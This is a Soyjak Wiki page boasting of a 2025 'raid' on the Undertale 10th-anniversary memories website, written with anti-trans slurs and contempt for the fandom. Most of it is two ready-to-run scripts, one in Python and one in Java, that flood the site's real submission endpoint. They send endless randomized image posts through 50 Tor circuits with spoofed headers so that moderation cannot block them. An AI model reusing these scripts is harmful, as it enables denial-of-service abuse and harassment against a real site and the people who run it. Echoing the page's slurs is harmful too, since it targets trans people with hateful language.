Undertroon Memories Rape

From Soyjak Wiki, the free ensoyclopedia
Jump to navigationJump to search
Undertroon Memories Rape was a Sharty neutralraid.
You can update the page to reflect this.
Reason(s): Nothing happened because nusoibigots can't slowburn GEEEEEEEEEEEEEEG
Undertroon Memories Rape
Date26 July 2025
Location
memories.undertale.com
Result TBD.
Belligerents
soyjak.party Undertale and Deltarune fandom
Commanders and leaders
Soyteens Toby Fox
Units involved

/soy/
Python codeGODs

Java codeGODs
Jannies
Casualties and losses
Several hours of time Jannies clear out cado images

On July 26th '25, Toby Fox created an "Undertale memories" website celebrating the 10th anniversary of the game. It allowed users to post their name, a 50x50 drawn avatar and their aforementioned memories with the game.

At first, 'teens started just making funny submissions, but one 'teen figured out how to paste the image data directly into the HTML which made it possible to add dithered images that would otherwise be incredibly tedious to add manually.[1]

As to be expected from Toby Fox, the website had terrible security (despite being hosted by cloudflare, for some reason he didn't enable any protection). Because of this, a 'teen was able to generate a console JavaScript code to spam requests, before evolving into a full-on Python script that spammed 'cados through 50 different TOR circuits.[2][3] Another script was created in Java.

We have not seen the reaction to it yet, but the general consensus so far is to consider this a winraid as we likely made undertroon tranny jannies go through an unthinkable amount of 'cado.

The submissions closed 24 hours after they first opened.

Python script[edit | edit source]

Requires httpx version 0.27.2 (no later), install it using pip.

import asyncio
import concurrent.futures
import random
import requests
import string
import time

from asyncio import AbstractEventLoop, Task
from concurrent.futures import Future, ThreadPoolExecutor
from httpx import AsyncClient, Timeout
from requests import Response
from typing import Dict, List

# === Config ===
NUM_CIRCUITS: int = 50             # How many Tor circuits to use
SEND_INTERVAL: int = 1          # Seconds between sends per circuit
TARGET_URL: str = 'https://ut-10th-memory-keeper.fangamer.workers.dev/submit/'
BASE_IMAGE: str = '1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r'

BOUNDARY: str = '---------------------------3898813415902944604868174393'
MUTATION_CHARACTER_SET: str = '0rtob1pgy'  # Characters used for mutation


def random_string(length: int = 10) -> str:
    """
    Generate a random string of lowercase letters and digits.

    @param length Length of the random string to generate.
    @return Random string of specified length.
    """
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k = length))


def mutate_string(source_string: str, mutation_count: int = 250) -> str:
    """
    Mutate a string by randomly changing a specified number of characters 
    to random choices from the character set '0rtob1pgy'.

    @param source_string The original string to mutate.
    @param mutation_count Number of character positions to randomly modify.
    @return A new string with the specified number of characters mutated.
    """
    if not source_string:
        return source_string
    
    actual_mutation_count: int = min(mutation_count, len(source_string))
    mutable_characters: List[str] = list(source_string)
    
    for _ in range(actual_mutation_count):
        random_position: int = random.randrange(len(mutable_characters))
        replacement_character: str = random.choice(MUTATION_CHARACTER_SET)
        mutable_characters[random_position] = replacement_character
    
    return ''.join(mutable_characters)


def build_body(name: str, image: str, text: str) -> str:
    """
    Build the multipart/form-data body for the request.

    @param name Name to include in the form data.
    @param image Image data to include in the form data.
    @param text Text to include in the form data.
    @return Formatted multipart body string.
    """
    parts: List[str] = [
        f'--{BOUNDARY}',
        f'Content-Disposition: form-data; name="name"\r\n\r\n{name}',
        f'--{BOUNDARY}',
        f'Content-Disposition: form-data; name="image"\r\n\r\n{image}',
        f'--{BOUNDARY}',
        f'Content-Disposition: form-data; name="text"\r\n\r\n{text}',
        f'--{BOUNDARY}--\r\n',
    ]
    return '\r\n'.join(parts)


def send_request(session_id: int) -> None:
    """
    Send a request to the target URL using a unique SOCKS5 proxy for each session.

    @param session_id Unique identifier for the session, used to create a unique SOCKS5 username.
    """
    # Unique circuit ID used as SOCKS5 username
    proxy_username: str = f"circuit{session_id}"
    proxies: Dict[str, str] = {
        'http':  f'socks5h://{proxy_username}:pass@127.0.0.1:9050',
        'https': f'socks5h://{proxy_username}:pass@127.0.0.1:9050',
    }

    while True:
        name: str = random_string(random.randint(6,12))
        text: str = random_string(random.randint(12,24))
        image: str = mutate_string(BASE_IMAGE, random.randint(200,300))

        body: str = build_body(name, image, text)
        headers: Dict[str, str] = {
            'Content-Type': f'multipart/form-data; boundary={BOUNDARY}',
            'Content-Length': str(len(body)),
            'Origin': 'https://memories.undertale.com',
            'Referer': 'https://memories.undertale.com',
        }

        try:
            response: Response = requests.post(TARGET_URL, data = body.encode(), headers = headers, proxies = proxies, timeout = 10)
        except Exception as e:
            print(f"[{proxy_username}] ERROR - {e}")

        time.sleep(SEND_INTERVAL)


async def send_request_async(session_id: int, executor: ThreadPoolExecutor) -> None:
    """
    Send requests asynchronously with async control flow with threaded blocking operations.

    @param session_id Unique identifier for the session
    @param executor Executor for threads.
    """
    proxy_username: str = f"circuit{session_id}"
    
    async with AsyncClient(
        proxies = f'socks5://circuit{session_id}:pass@127.0.0.1:9050',
        timeout = Timeout(10.0)
    ) as client:
        while True:
            loop: AbstractEventLoop = asyncio.get_event_loop()
            
            name_task: Future = loop.run_in_executor(executor, random_string, random.randint(6, 12))
            text_task: Future = loop.run_in_executor(executor, random_string, random.randint(12, 24))
            image_task: Future = loop.run_in_executor(executor, mutate_string, BASE_IMAGE, random.randint(200, 300))

            name, text, image = await asyncio.gather(name_task, text_task, image_task)
            
            body: Future = await loop.run_in_executor(executor, build_body, name, image, text)
            
            headers: Dict[str, str] = {
                'Content-Type': f'multipart/form-data; boundary={BOUNDARY}',
                'Content-Length': str(len(body)),
                'Origin': 'https://memories.undertale.com',
                'Referer': 'https://memories.undertale.com',
            }
            
            try:
                response: Response = await client.post(
                    TARGET_URL,
                    content = body.encode(),
                    headers = headers
                )
                print(f"[{proxy_username}] Status: {response.status_code}")
            except Exception as e:
                print(f"[{proxy_username}] ERROR - {e}")
            
            await asyncio.sleep(SEND_INTERVAL)


async def main_async() -> None:
    """
    Main function to run asynchronously.
    """
    print(f"Launching {NUM_CIRCUITS} Tor circuits with {SEND_INTERVAL:.1f}s interval each...")
    
    with ThreadPoolExecutor(max_workers = NUM_CIRCUITS * 2) as executor:
        tasks: List[Task] = [
            asyncio.create_task(send_request_async(circuit_id, executor))
            for circuit_id in range(NUM_CIRCUITS)
        ]
        
        try:
            await asyncio.gather(*tasks)
        except KeyboardInterrupt as e:
            print(f"\nShutting down gracefully... {e}")
            for task in tasks:
                task.cancel()
            await asyncio.gather(*tasks, return_exceptions = True)

def main() -> None:
    """
    Main entry point for the script.
    """
    try:
        asyncio.run(main_async())
    except KeyboardInterrupt as e:
        print(f"\nShutdown complete: {e}")

if __name__ == "__main__":
    main()

Java version[edit | edit source]

Requires okhttp3, any version will do, you can get it off the Maven repository here.

package party.soyjak.soy;

import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.net.URL;
import java.time.Duration;
import java.util.List;
import java.util.Random;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ThreadLocalRandom;
import java.util.concurrent.TimeUnit;
import java.util.stream.IntStream;

import okhttp3.*;

public class UndertroonMemoriesRape {
    private static final int NUM_CIRCUITS = 50;
    private static final int SEND_INTERVAL = 1;
    private static final URL TARGET_URL = new URL("https://ut-10th-memory-keeper.fangamer.workers.dev/submit/");
    private static final String BASE_IMAGE = "1otot1ot1ot1ot1ot1ot1oto1to1oto11o11o11o11o11o1to1btp101boptoptoptoptpotp1bo1b1ptob1gpto1to11gpto1boo1gp1g1totptot1ot1ot1oto1bo1g1o11o1111p11bo11o1by1tptyb101bo1otoptpgp100000ogpotpgptoto1y1o111pto1ototot1o1totptpto1ot1000rb0tpt1o111o1111111oto1otptob1boptob1oto1otpto10rt0o00o1optot1o11o1ot11ot1oto11ot1gptotptotpto1b1otrt0001tot1o1p111t11o1otpob101t1otpg1ptyptoto1typtobopo0gp1yp11yt1o1o11tp1ot1o11101pt1oto1t1p1tp1t1opoo0pr1tot1to111111by1ot1otptoo11to1b11to1to1to1o0o0pro0rropo1111o11o11t1otp1to1tpg11to1b11b111o10rprrr0rrrbr0obo1t11111o1p11oto1t1o1b1o1t1o1otot1bopo0o0opo0opo1o11opotot11tot1otp1t1totpto1b1t1p1o11111p11o111to1b1ot11p1opg1p1ot1otpgp1o11b1t1o1o111to1o1yb1to1o11o111ot1ot1p1otp1bo111tot1o1o1p1t11o1p1t11o1op1b11t1pgp1o1b1otototo1tpobo1tpt1tot1o1p1t1o1opt1bgo1ypo1o111b11o1111ptrto11t1bo1to111p1to1o11pt1oooptot11b1oto1otptobo1ob1tooto11gp1p1oto11t1pg11o1pto01po1ot1po1b1o1o1toto1011ptotp1g1tp111op111otpgobo1oto11o1t1o1otptoptpgp1ttotp1g1po1o1ob1t1yb1o11o10oboptptopob1b1ypto1ototo1bot1p1g1b1t11o1o111bobobobyto1o11to1o1ot1ob1boptpot1o1g1b1o1opo11b1bo1otobo0o1bo1tr1101b1ob1oto1to11pgptpo1ot1t1tpo1o11b1obo0trto1po1bo1otop1otp101bo101t1o11b1opo1ot11to1oto0o0pobo1to1totp1tyb1oto1ott1opot1o11b1top1obo1bop0t0101otpo1po1pgopto1bob1011rt1t1ptoto1ot1011p1oto0r0o0ob1yb1gptypt1obo1o1ob1tobo1otop1ob1py1totobobo0boboobo1o1o1boob1otptototob1101p1tpt1o1tpo1p1obo0o0bogbo1gptpto1g1obotobobototo1to1o1ob1o1ototobo0t00oboobopgo1ob1pgpytr1otob11p1bo101bo1obotp1rto10r0p0o0101gp1bopgobotrtob101101gp1b1otob1to1otpob0obg0obo0101ototopto101pgpgpg11gpotootpotopob1bog10o0rb0obrgpobobopgopgpogpgpgp1b1otob1otopg1too1bo0100o0obo0boto1otobobot01obo1011obob1ob101bo01bo10100obgp0o0o0obobobotobobobot011gpto101ootootpotobo0ob0r0obgpgpgpgobo0obogpgobo101b1obotrtbob10otrtobobo0obo0r0bo0obo01010obo0101011ototopgpotrobobo010o00t00obg0o0trtrt0o0trgpgpgpg1to10p101obo0tobotobo0t0rbo00r0bobo0o0ob0obobrgpgp11botobybotopobo0p0obo00000t0o0o00trbobo0o0g010oby1ooboboto1010tobgobg00bo0o0r00b0obr0g0o0gbobobobot1bo0obobobobo0obobo0b0000b0000000g0p0b0obo0o0otrtopotpto0grt0otrt0o00o00o00g00g000obrg0o00o0bgbo0bo01obo010p00ob0obobgb00000br00000b00gp0gp00o0r0trgptootobo0obo000botobo00ob0o0t0rb0ogp00o00ob00t0obo0obpobotrt00o001b1b10ob00o00r00gpt0t0b00000o0r0obotrggpgob0o0ob0bototot00o0bo0bg0bob1rto000o00bo0to0pgpobobo0bo00otp1tp100obg000o0pg1tobobob000o0010pgoboboto0o0bo0bo1to1tobotpgpgb0t1b1bot1bg0ob0ob0o0obo0obobob0o0bytptptrt1tp1tob11otot1bobo0000o0obot010to10o0o00g01b1tot1tp1t1b11t1b1b101totob0o0b0o0obo0r";
    private static final String BOUNDARY = "---------------------------3898813415902944604868174393";
    private static final String MUTATION_CHARACTER_SET = "0rtob1pgy";
    private static final String CHARS = "abcdefghijklmnopqrstuvwxyz0123456789";
    
    private static final Random random = new Random();
    
    /**
     * Create an OkHttpClient with Tor SOCKS proxy for a specific circuit.
     *
     * @param circuitId The circuit ID for Tor circuit isolation.
     * @return Configured OkHttpClient with SOCKS proxy.
     */
    public static OkHttpClient createTorClient(int circuitId) {
        String proxyUsername = "circuit" + circuitId;
        
        Proxy socksProxy = new Proxy(
            Proxy.Type.SOCKS, 
            new InetSocketAddress("127.0.0.1", 9050)
        );
        
        Authenticator proxyAuthenticator = (route, response) -> {
            String credential = Credentials.basic(proxyUsername, "pass");
            return response.request().newBuilder()
                .header("Proxy-Authorization", credential)
                .build();
        };
        
        return new OkHttpClient.Builder()
            .proxy(socksProxy)
            .proxyAuthenticator(proxyAuthenticator)
            .connectTimeout(Duration.ofSeconds(10))
            .readTimeout(Duration.ofSeconds(10))
            .writeTimeout(Duration.ofSeconds(10))
            .build();
    }
    
    /**
     * Generate a random string of lowercase letters and digits.
     *
     * @param length Length of the random string to generate.
     * @return Random string of specified length.
     */
    public static String randomString(int length) {
        StringBuilder sb = new StringBuilder(length);
        
        for (int i = 0; i < length; i++) {
            sb.append(CHARS.charAt(random.nextInt(CHARS.length())));
        }
        
        return sb.toString();
    }
    
    /**
     * Mutate a string by randomly changing a specified number of characters 
     * to random choices from the character set '0rtob1pgy'.
     *
     * @param sourceString The original string to mutate.
     * @param mutationCount Number of character positions to randomly modify.
     * @return A new string with the specified number of characters mutated.
     */
    public static String mutateString(String sourceString, int mutationCount) {
        if (sourceString == null || sourceString.isEmpty()) {
            return sourceString;
        }
        
        int actualMutationCount = Math.min(mutationCount, sourceString.length());
        char[] mutableCharacters = sourceString.toCharArray();
        
        for (int i = 0; i < actualMutationCount; i++) {
            int randomPosition = random.nextInt(mutableCharacters.length);
            char replacementCharacter = MUTATION_CHARACTER_SET.charAt(
                random.nextInt(MUTATION_CHARACTER_SET.length())
            );
            mutableCharacters[randomPosition] = replacementCharacter;
        }
        
        return new String(mutableCharacters);
    }
    
    /**
     * Build the multipart/form-data body for the request.
     *
     * @param name Name to include in the form data.
     * @param image Image data to include in the form data.
     * @param text Text to include in the form data.
     * @return Formatted multipart body string.
     */
    public static String buildBody(String name, String image, String text) {
        return String.format("""
            --%s\r
            Content-Disposition: form-data; name="name"\r
            \r
            %s\r
            --%s\r
            Content-Disposition: form-data; name="image"\r
            \r
            %s\r
            --%s\r
            Content-Disposition: form-data; name="text"\r
            \r
            %s\r
            --%s--\r
            """, 
            BOUNDARY, name, BOUNDARY, image, BOUNDARY, text, BOUNDARY
        );
    }
    
    /**
     * Send requests asynchronously using OkHttp with Tor SOCKS proxy.
     *
     * @param sessionId Unique identifier for the session.
     * @param executor The executor for scheduling tasks.
     * @return CompletableFuture that represents the ongoing operation.
     */
    public static CompletableFuture<Void> sendRequestAsync(int sessionId, ScheduledExecutorService executor) {
        String proxyUsername = "circuit" + sessionId;
        OkHttpClient client = createTorClient(sessionId);
        
        return CompletableFuture.runAsync(() -> {
            while (!Thread.currentThread().isInterrupted()) {
                try {
                    String name = randomString(ThreadLocalRandom.current().nextInt(6, 13));
                    String text = randomString(ThreadLocalRandom.current().nextInt(12, 25));
                    String image = mutateString(BASE_IMAGE, ThreadLocalRandom.current().nextInt(200, 301));
                    
                    String body = buildBody(name, image, text);
                    
                    RequestBody requestBody = RequestBody.create(body, MediaType.get("multipart/form-data; boundary=" + BOUNDARY));
                    
                    Request request = new Request.Builder()
                        .url(TARGET_URL)
                        .addHeader("Origin", "https://memories.undertale.com")
                        .addHeader("Referer", "https://memories.undertale.com")
                        .post(requestBody)
                        .build();
                    
                    client.newCall(request).enqueue(new Callback() {
                        @Override
                        public void onFailure(Call call, IOException e) {
                            System.err.printf("[%s] ERROR - %s%n", proxyUsername, e.getMessage());
                        }
                        
                        @Override
                        public void onResponse(Call call, Response response) throws IOException {
                            System.out.printf("[%s] Status: %d%n", proxyUsername, response.code());
                            response.close();
                        }
                    });
                    
                    Thread.sleep(SEND_INTERVAL * 1000L);
                    
                } catch (InterruptedException e) {
                    Thread.currentThread().interrupt();
                    break;
                } catch (Exception e) {
                    System.err.printf("[%s] ERROR - %s%n", proxyUsername, e.getMessage());
                    try {
                        Thread.sleep(SEND_INTERVAL * 1000L);
                    } catch (InterruptedException ie) {
                        Thread.currentThread().interrupt();
                        break;
                    }
                }
            }
        }, executor);
    }
    
    /**
     * Main async method.
     */
    public static void mainAsync() {
        System.out.printf("Launching %d Tor circuits with %.1fs interval each...%n", NUM_CIRCUITS, (float)SEND_INTERVAL);
        
        ScheduledExecutorService executor = Executors.newScheduledThreadPool(NUM_CIRCUITS);
        
        try {
            List<CompletableFuture<Void>> futures = IntStream.range(0, NUM_CIRCUITS)
                .mapToObj(circuitId -> sendRequestAsync(circuitId, executor))
                .toList();
            
            CompletableFuture<Void> allTasks = CompletableFuture.allOf(
                futures.toArray(new CompletableFuture[0])
            );
            
            allTasks.join();
            
        } catch (Exception e) {
            System.err.println("Error in main execution: " + e.getMessage());
        } finally {
            executor.shutdownNow();
            try {
                if (!executor.awaitTermination(5, TimeUnit.SECONDS)) {
                    System.err.println("Executor did not terminate gracefully");
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
        }
    }
    
    /**
     * Main entry point for the application.
     * 
     * @param args CLI arguments
     */
    public static void main(String[] args) {
        try {
            mainAsync();
        } catch (Exception e) {
            System.err.println("Shutdown complete: " + e.getMessage());
        }
    }
}

Citations

Undertroon Memories Rape is part of a series on
Trolling and Raids
Visit the Soyfare portal for more.

Do we even know, who is this Snarky Snappy person or website?

Operations [-+]
Targets [-+]
Techniques [-+]
Types of raids [-+]
Trolling groups [-+]

AnonymousCIAGNAAKKKKiwi FarmsNSSrDramasoyjak.party